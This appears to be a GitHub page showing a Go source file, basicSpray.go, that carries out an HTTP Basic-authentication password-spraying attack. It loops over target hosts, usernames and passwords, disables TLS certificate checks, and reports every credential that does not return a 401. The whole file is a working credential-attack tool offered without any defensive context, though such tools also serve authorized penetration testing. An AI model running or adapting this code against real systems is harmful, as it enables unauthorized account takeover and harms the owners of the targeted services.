-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbasicSpray.go
44 lines (41 loc) · 1.28 KB
/
basicSpray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package main
import (
"crypto/tls"
"encoding/base64"
"fmt"
"net/http"
"strconv"
"sync"
)
func basicSpray(wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _, taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 80
}
for _, password := range taskToRun.passwords {
for _, username := range taskToRun.usernames {
if internalCounter >= *storeResult {
headerValue := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
client := &http.Client{}
req, _ := http.NewRequest("GET", taskToRun.target.scheme+"://"+taskToRun.target.host+":"+strconv.Itoa(taskToRun.target.port)+"/"+taskToRun.target.url, nil)
req.Header.Set("Authorization", "Basic "+headerValue)
res, _ := client.Do(req)
if res.StatusCode == 401 {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username + ":" + password
}
*storeResult++
} else {
}
internalCounter++
}
}
}
}